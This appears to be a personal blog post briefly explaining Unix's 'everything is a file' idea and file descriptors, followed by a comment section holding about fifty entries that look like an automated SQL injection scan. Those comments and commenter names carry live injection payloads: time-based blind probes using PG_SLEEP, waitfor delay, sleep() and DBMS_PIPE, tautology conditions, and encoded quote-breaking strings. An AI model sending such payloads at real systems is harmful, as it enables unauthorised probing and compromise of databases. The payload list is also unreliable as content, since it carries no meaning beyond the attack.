~/ / posts / file_theory

'everything is a file theory' unix physcology

treats diverse system resources—regular files, directories, devices, network sockets, and inter-process communication channels—using a unified file interface which is a file descriptor.

"everything is a file theory" unix physcology

treats diverse system resources—regular files, directories, devices, network sockets, and inter-process communication channels—using a unified file interface which is a file descriptor.

When you open a file, device, socket, or pipe in Unix, the kernel returns a file descriptor

file descriptor :- A file descriptor is a non-negative integer that the operating system assigns to a process as a unique identifier(or "handle").

example:

open("/etc/passwd", ...) → kernel sees a path, looks it up in the filesystem, returns fd (file descriptor integer like 3,4,5) pointing to a regular file on disk

socket(AF_INET, SOCK_STREAM, 0) → kernel allocates a network socket (no disk involved), returns fd pointing to that socket

now we can give file descriptor the integer 4 and ask for the data bytes it will check which process is linked to fd and gives the data back ez.

if network buffer is limited how we download big files?

-io.ReadAll internally runs a loop calling read(fd, buffer, size) repeatedly - Each read() call copies some bytes (typically 4-32 KB chunks) from the kernel buffer into your application's memory

← back to all posts

Always keep your cheeks full of good memories.

You can munch on them when times get tough.

— Wise Hamster 🐹

$ cat ./reviews

53 reviews
ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

@@TnSob

ZMskyuza 20 Aug 2026

555%C0%A7%C0%A2%2527%2522\'\"

ZMskyuza 20 Aug 2026

555'"

ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

ZMskyuza 20 Aug 2026

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

ZMskyuza 20 Aug 2026

555n6uTQw0d')) OR 942=(SELECT 942 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555wuqZ5rMX') OR 727=(SELECT 727 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555mWJ9oZbR' OR 254=(SELECT 254 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555-1)) OR 869=(SELECT 869 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555-1) OR 409=(SELECT 409 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555-1 OR 483=(SELECT 483 FROM PG_SLEEP(15))--

ZMskyuza 20 Aug 2026

555H90Grt0R'; waitfor delay '0:0:15' --

ZMskyuza 20 Aug 2026

555-1 waitfor delay '0:0:15' --

ZMskyuza 20 Aug 2026

555-1); waitfor delay '0:0:15' --

ZMskyuza 20 Aug 2026

555-1; waitfor delay '0:0:15' --

ZMskyuza 20 Aug 2026

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

ZMskyuza 20 Aug 2026

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

ZMskyuza 20 Aug 2026

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

ZMskyuza 20 Aug 2026

555*if(now()=sysdate(),sleep(15),0)

ZMskyuza 20 Aug 2026

-1" OR 2+374-374-1=0+0+0+1 --

ZMskyuza 20 Aug 2026

-1' OR 2+892-892-1=0+0+0+1 or 'sRRUhRyW'='

ZMskyuza 20 Aug 2026

-1' OR 2+788-788-1=0+0+0+1 --

ZMskyuza 20 Aug 2026

-1 OR 2+619-619-1=0+0+0+1

ZMskyuza 20 Aug 2026

-1 OR 2+990-990-1=0+0+0+1 --

ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

5556HNvfbVm

ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555

@@3TgVC 20 Aug 2026

555

ZMskyuza%C0%A7%C0%A2%2527%2522\'\" 20 Aug 2026

555

ZMskyuza'" 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555

ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 20 Aug 2026

555

ZMskyuzavMTCRm5k')) OR 719=(SELECT 719 FROM PG_SLEEP(15))-- 20 Aug 2026

555

ZMskyuzauTcybtsG') OR 283=(SELECT 283 FROM PG_SLEEP(15))-- 20 Aug 2026

555

ZMskyuzaFsIv1jF0' OR 475=(SELECT 475 FROM PG_SLEEP(15))-- 20 Aug 2026

555

ZMskyuzaUwts36J8'; waitfor delay '0:0:15' -- 20 Aug 2026

555

ZMskyuza-1 waitfor delay '0:0:15' -- 20 Aug 2026

555

ZMskyuza0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 20 Aug 2026

555

ZMskyuza0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 20 Aug 2026

555

if(now()=sysdate(),sleep(15),0) 20 Aug 2026

555

-1" OR 2+841-841-1=0+0+0+1 -- 20 Aug 2026

555

-1' OR 2+935-935-1=0+0+0+1 or 'gnTAF5tw'=' 20 Aug 2026

555

-1' OR 2+941-941-1=0+0+0+1 -- 20 Aug 2026

555

-1 OR 2+855-855-1=0+0+0+1 20 Aug 2026

555

-1 OR 2+425-425-1=0+0+0+1 -- 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555

ZMskyuzaToasMJ8q 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555

ZMskyuza 20 Aug 2026

555